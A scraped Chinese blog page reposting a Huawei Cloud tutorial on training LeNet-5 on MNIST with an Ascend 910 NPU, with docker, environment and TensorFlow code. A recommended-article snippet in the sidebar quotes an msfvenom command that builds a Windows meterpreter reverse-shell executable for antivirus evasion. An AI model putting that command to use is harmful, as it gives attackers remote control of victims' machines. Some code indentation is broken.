【华为云技术分享】干货!!卷积神经网络之LeNet-5迁移实践案例_华为云卷积神经网络如何使用npu-程序员宅基地

技术标签: 机器学习  深度学习  人工智能  神经网络  昇腾  技术交流  

摘要:LeNet-5是Yann LeCun在1998年设计的用于手写数字识别的卷积神经网络,当年美国大多数银行就是用它来识别支票上面的手写数字的,它是早期卷积神经网络中最有代表性的实验系统之一。可以说,LeNet-5就相当于编程语言入门中的“Hello world!”。

华为的昇腾训练芯片一直是大家所期待的,目前已经开始提供公测,如何在昇腾训练芯片上运行一个训练任务,这是目前很多人都在采坑过程中,所以我写了一篇指导文章,附带上所有相关源代码。注意,本文并没有包含环境的安装,请查看另外相关文档。

环境约束:昇腾910目前仅配套TensorFlow 1.15版本。

基础镜像上传之后,我们需要启动镜像命令,以下命令挂载了8块卡(单机所有卡):

docker run -it --net=host --device=/dev/davinci0 --device=/dev/davinci1 --device=/dev/davinci2 --device=/dev/davinci3 --device=/dev/davinci4 --device=/dev/davinci5 --device=/dev/davinci6 --device=/dev/davinci7 --device=/dev/davinci_manager --device=/dev/devmm_svm --device=/dev/hisi_hdc -v /var/log/npu/slog/container/docker:/var/log/npu/slog -v /var/log/npu/conf/slog/slog.conf:/var/log/npu/conf/slog/slog.conf -v /usr/local/Ascend/driver/lib64/:/usr/local/Ascend/driver/lib64/ -v /usr/local/Ascend/driver/tools/:/usr/local/Ascend/driver/tools/ -v /data/:/data/ -v /home/code:/home/local/code -v ~/context:/cache  ubuntu_18.04-docker.arm64v8:v2  /bin/bash

设置环境变量并启动手写字训练网络:

#!/bin/bash

export LD_LIBRARY_PATH=/usr/local/lib/:/usr/local/HiAI/runtime/lib64

export PATH=/usr/local/HiAI/runtime/ccec_compiler/bin:$PATH

export CUSTOM_OP_LIB_PATH=/usr/local/HiAI/runtime/ops/framework/built-in/tensorflow

export DDK_VERSION_PATH=/usr/local/HiAI/runtime/ddk_info

export WHICH_OP=GEOP

export NEW_GE_FE_ID=1

export GE_AICPU_FLAG=1

export OPTION_EXEC_EXTERN_PLUGIN_PATH=/usr/local/HiAI/runtime/lib64/plugin/opskernel/libfe.so:/usr/local/HiAI/runtime/lib64/plugin/opskernel/libaicpu_plugin.so:/usr/local/HiAI/runtime/lib64/plugin/opskernel/libge_local_engine.so:/usr/local/H

iAI/runtime/lib64/plugin/opskernel/librts_engine.so:/usr/local/HiAI/runtime/lib64/libhccl.so



export OP_PROTOLIB_PATH=/usr/local/HiAI/runtime/ops/built-in/



export DEVICE_ID=2

export PRINT_MODEL=1

#export DUMP_GE_GRAPH=2



#export DISABLE_REUSE_MEMORY=1

#export DUMP_OP=1

#export SLOG_PRINT_TO_STDOUT=1



export RANK_ID=0

export RANK_SIZE=1

export JOB_ID=10087

export OPTION_PROTO_LIB_PATH=/usr/local/HiAI/runtime/ops/op_proto/built-in/

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/Ascend/fwkacllib/lib64/:/usr/local/Ascend/driver/lib64/common/:/usr/local/Ascend/driver/lib64/driver/:/usr/local/Ascend/add-ons/

export PYTHONPATH=$PYTHONPATH:/usr/local/Ascend/opp/op_impl/built-in/ai_core/tbe

export PATH=$PATH:/usr/local/Ascend/fwkacllib/ccec_compiler/bin

export ASCEND_HOME=/usr/local/Ascend

export ASCEND_OPP_PATH=/usr/local/Ascend/opp

export SOC_VERSION=Ascend910



rm -f *.pbtxt

rm -f *.txt

rm -r /var/log/npu/slog/*.log

rm -rf train_url/*





python3 mnist_train.py

以下训练案例中我使用的lecun大师的LeNet-5网络,先简单介绍LeNet-5网络:

LeNet5诞生于1994年,是最早的卷积神经网络之一,并且推动了深度学习领域的发展。自从1988年开始,在多年的研究和许多次成功的迭代后,这项由Yann LeCun完成的开拓性成果被命名为LeNet5。

LeNet-5包含七层,不包括输入,每一层都包含可训练参数(权重),当时使用的输入数据是32*32像素的图像。下面逐层介绍LeNet-5的结构,并且,卷积层将用Cx表示,子采样层则被标记为Sx,完全连接层被标记为Fx,其中x是层索引。

层C1是具有六个5*5的卷积核的卷积层(convolution),特征映射的大小为28*28,这样可以防止输入图像的信息掉出卷积核边界。C1包含156个可训练参数和122304个连接。

层S2是输出6个大小为14*14的特征图的子采样层(subsampling/pooling)。每个特征地图中的每个单元连接到C1中的对应特征地图中的2*2个邻域。S2中单位的四个输入相加,然后乘以可训练系数(权重),然后加到可训练偏差(bias)。结果通过S形函数传递。由于2*2个感受域不重叠,因此S2中的特征图只有C1中的特征图的一半行数和列数。S2层有12个可训练参数和5880个连接。

层C3是具有16个5-5的卷积核的卷积层。前六个C3特征图的输入是S2中的三个特征图的每个连续子集,接下来的六个特征图的输入则来自四个连续子集的输入,接下来的三个特征图的输入来自不连续的四个子集。最后,最后一个特征图的输入来自S2所有特征图。C3层有1516个可训练参数和156 000个连接。

层S4是与S2类似,大小为2*2,输出为16个5*5的特征图。S4层有32个可训练参数和2000个连接。

层C5是具有120个大小为5*5的卷积核的卷积层。每个单元连接到S4的所有16个特征图上的5*5邻域。这里,因为S4的特征图大小也是5*5,所以C5的输出大小是1*1。因此S4和C5之间是完全连接的。C5被标记为卷积层,而不是完全连接的层,是因为如果LeNet-5输入变得更大而其结构保持不变,则其输出大小会大于1*1,即不是完全连接的层了。C5层有48120个可训练连接。

F6层完全连接到C5,输出84张特征图。它有10164个可训练参数。这里84与输出层的设计有关。

LeNet的设计较为简单,因此其处理复杂数据的能力有限;此外,在近年来的研究中许多学者已经发现全连接层的计算代价过大,而使用全部由卷积层组成的神经网络。

LeNet-5网络训练脚本是mnist_train.py,具体代码:

import os

import numpy as np

import tensorflow as tf

import time

from tensorflow.examples.tutorials.mnist import input_data



import mnist_inference



from npu_bridge.estimator import npu_ops #导入NPU算子库

from tensorflow.core.protobuf.rewriter_config_pb2 import RewriterConfig #重写tensorFlow里的配置,针对NPU的配置





batch_size = 100

learning_rate = 0.1

training_step = 10000



model_save_path = "./model/"

model_name = "model.ckpt"



def train(mnist):

    x = tf.placeholder(tf.float32, [batch_size, mnist_inference.image_size, mnist_inference.image_size, mnist_inference.num_channels], name = 'x-input')

    y_ = tf.placeholder(tf.float32, [batch_size, mnist_inference.num_labels], name = "y-input")



    regularizer = tf.contrib.layers.l2_regularizer(0.001)

    y = mnist_inference.inference(x, train = True, regularizer = regularizer) #推理过程

    global_step = tf.Variable(0, trainable=False)

    cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(logits = y, labels = tf.argmax(y_, 1)) #损失函数

    cross_entropy_mean = tf.reduce_mean(cross_entropy)

    loss = cross_entropy_mean + tf.add_n(tf.get_collection("loss"))



    train_step = tf.train.GradientDescentOptimizer(learning_rate).minimize(loss, global_step = global_step) #优化器调用



    saver = tf.train.Saver() #启动训练

   #以下代码是NPU所必须的代码,开始配置参数

    config = tf.ConfigProto(

        allow_soft_placement = True,

        log_device_placement = False)

    custom_op =  config.graph_options.rewrite_options.custom_optimizers.add()

    custom_op.name =  "NpuOptimizer"

    custom_op.parameter_map["use_off_line"].b = True

    #custom_op.parameter_map["profiling_mode"].b = True

    #custom_op.parameter_map["profiling_options"].s = tf.compat.as_bytes("task_trace:training_trace")

config.graph_options.rewrite_options.remapping = RewriterConfig.OFF

#配置参数结束

    writer = tf.summary.FileWriter("./log_dir", tf.get_default_graph())

    writer.close()

#参数初始化

    with tf.Session(config = config) as sess:

        tf.global_variables_initializer().run()

   

        start_time = time.time()

       

        for i in range(training_step):

xs, ys = mnist.train.next_batch(batch_size)

            reshaped_xs = np.reshape(xs, (batch_size, mnist_inference.image_size, mnist_inference.image_size, mnist_inference.num_channels))

            _, loss_value, step = sess.run([train_step, loss, global_step], feed_dict={x:reshaped_xs, y_:ys})

#每训练10个epoch打印损失函数输出日志

            if i % 10 == 0:

                print("****************************++++++++++++++++++++++++++++++++*************************************\n" * 10)

                print("After %d training steps, loss on training batch is %g, total time in this 1000 steps is %s." % (step, loss_value, time.time() - start_time))

                #saver.save(sess, os.path.join(model_save_path, model_name), global_step = global_step)

                print("****************************++++++++++++++++++++++++++++++++*************************************\n" * 10)

                start_time = time.time()

def main():

    mnist = input_data.read_data_sets('MNIST_DATA/', one_hot= True)

    train(mnist)



if __name__ == "__main__":

    main()

本文主要讲述了经典卷积神经网络之LeNet-5网络模型和迁移至昇腾D910的实现,希望大家快来动手操作一下试试看!

 

点击这里→了解更多精彩内容

 

相关推荐

序列特征的处理方法之二:基于卷积神经网络方法

昇腾AI处理器软件栈--神经网络软件架构

机器学习笔记(八)---- 神经网络

94页论文综述卷积神经网络:从基础技术到研究前景

卷积神经网络CNN原理详解(一)——基本原理(2)

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/devcloud/article/details/106939748

智能推荐

vue3 element plus中el-radio选中之后再次点击取消选中_el-radio-group点击事件-程序员宅基地

文章浏览阅读2.1k次,点赞3次,收藏2次。vue3 element plus中el-radio选中之后再次点击取消选中_el-radio-group点击事件

WAF-程序员宅基地

文章浏览阅读3.3k次。Web应用防护系统又叫做WAF。按照国际公认的说法,Web应用防火墙是通过执行一系列针对HTTP/HTTPS的网站安全策略来专门为Web应用提供保护的一款产品。随着web的内容与应用越来越丰富,信息量与价值量越来越高,web被入侵和篡改的事件和频率也增多。这就需要专门的web防火墙或是防护系统来维护网站的安全。WAF可分为许多种,从产品形态上来划分,可以大致分为三类:1.1硬件设备

掩日免杀笔记_掩日免杀使用教程-程序员宅基地

文章浏览阅读4.2k次。微信公众号:乌鸦安全扫取二维码获取更多信息!1. 环境攻击机: kali linux 10.211.55.23受害机: Windows10 360主动防御Windows7 火绒主动防御2. 生成exe文件在kali linux下使用msfvenom生成一个64位的exe文件msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.211.55.23 lport=4444 -f exe ..._掩日免杀使用教程

初探Oracle数据库(安装篇)_oracle数据库安装stage有两个-程序员宅基地

文章浏览阅读257次。安装Oracle数据库到了 先决条件检查 时遇到各种失败,于是上网搜了教程,最终解决了,所以记录一下整个过程(1)首先确保以下两个服务开启(2)另外Oracle依赖于磁盘共享,所以一开始磁盘没有共享的话,也是获取不到的,所以cmd运行net share d$=d: 这样就开启了d盘的共享,(类似的c,f)就使用 net share f$=f:(3)然后修改注册表信息在运行中(或键盘按 Win+R)..._oracle数据库安装stage有两个

跟着小马哥学系列之 Spring AOP( Advice 组件详解)_afterreturningadvice-程序员宅基地

文章浏览阅读1.6k次,点赞7次,收藏11次。跟着小马哥学系列之 Spring AOP( Advice 组件详解)简介学好路更宽,钱多少加班。 ——小马哥简介大家好,我是小马哥成千上万粉丝中的一员!2019年8月有幸在叩丁狼教育举办的猿圈活动中知道有这么一位大咖,从此结下了不解之缘!此系列在多次学习极客时间《小马哥讲Spring AOP 编程思想》基础上形成的个人一些总结。希望能帮助各位小伙伴, 祝小伙伴早日学有所成。..._afterreturningadvice

Qt技巧:QProcess与外部程序的调用_在qt工程下调用外部的.pro-程序员宅基地

文章浏览阅读2.8k次。项目做到一定阶段,常常须要在原来的project上调用外部程序。 Qt为此提供了QProcess类,QProcess可用于完毕启动外部程序,并与之交互通信。一、启动外部程序的两种方式: (1)一体式:void QProcess::start(const QString & program, const QStringList & arguments, OpenMode mode = ReadWr_在qt工程下调用外部的.pro

随便推点

Golang抓包:实现网络数据包捕获与分析_golang pcap,2024年最新【2024Golang最新学习路线-程序员宅基地

文章浏览阅读727次,点赞13次,收藏13次。以上示例代码中,我们使用了嵌套的条件语句来逐级解析数据包的各个层级,并提取所需的信息。其中,我们关注以太网帧、IPv4包、TCP包和HTTP协议,提取了包括源MAC地址、目的MAC地址、源IP地址、目的IP地址、源端口、目的端口、HTTP方法、主机和请求头信息等。上述代码中,我们在数据包捕获的过程中判断源端口或目标端口是否为80(HTTP默认端口),如果是则统计这些HTTP流量的数据量。现在,我们将结合以上的知识来实现一个简单的示例:捕获HTTP请求,并提取请求的URL和请求头信息。

P6474&&ybtoj【基础算法】5章4题【荆轲刺秦王】_荆轲刺秦 数据-程序员宅基地

文章浏览阅读315次。荆轲刺秦王题目P6474解析显然,这是一道广搜先考虑给每一个士兵能看到的点打标记,发现暴力打标记是O(n2m2)O(n^2m^2)O(n2m2)的,可以通过前缀和优化到O(n2m)O(n^2m)O(n2m)打完标记,直接慢慢敲广搜即可注意事项个人提醒:本人曾经写过95分,后来发现是第18个数据跑了7秒,所以请各位把register拆出来,并吸氧等以卡常,写得优美一些code:#include<queue>#include<cstdio>#include<_荆轲刺秦 数据

桌案Drawon模板中心,让创作如此简单-程序员宅基地

文章浏览阅读63次。云晶新一代云上操作系统,To B 与To C 融合,以“共享协作,软件共享”为基础,塑造下一代云上操作系统。为企业信息化提供“生态”解决方案云晶拥有自由开放平台、连接一切、云上操作系统、企业信息化生态解决方案、物联网与互联网融合、中台系统最佳体验等特点。云晶官网:www.yunjingxz.comDrawon官网:www.drawon.cnDrawon是一个基于云晶平台开发的产品,集合了流程图制作、思维导图、草图、ppt为一体的工具集合软件。

Linux安装man中文手册以及基本使用_man替换中文手册-程序员宅基地

文章浏览阅读679次。写在前面的话学习知识,首先得有相应学习的规范范本吧,不管在学习什么,这个东西都是很重要的!对于学习Linux而言,每一个系统调用,每一个命令,每个配置文件的参数,Linux的开发人员都已经写好了,这就是学习Linux最具有价值的学习资料.man命令可以通过一些参数,快速查询linux帮助手册,并且格式化显示.查看man手册的主页man manman手册组成普通命令内核提供的系统调用库调用(C库函数)特殊文件(大多在/dev目录下)和设备文件格式规范游戏杂项系统管理命令(通常_man替换中文手册

Maven 项目名称红色感叹号的问题总结_maven项目复制文件名红色-程序员宅基地

文章浏览阅读2.3w次,点赞5次,收藏21次。Maven 项目名称红色感叹号的问题总结_maven项目复制文件名红色

Java基础:IO编程_java io编程-程序员宅基地

文章浏览阅读402次。IO编程1、IO流脑图2、IO流分类3、File类操作文件4、访问文件字节流:FileInputStream & FileOutputStream/** * FileInputStreamTest * @throws IOException */ @Test public void test01() throws IOException { String path = "F:\\file2.txt"; _java io编程

推荐文章

热门文章

相关标签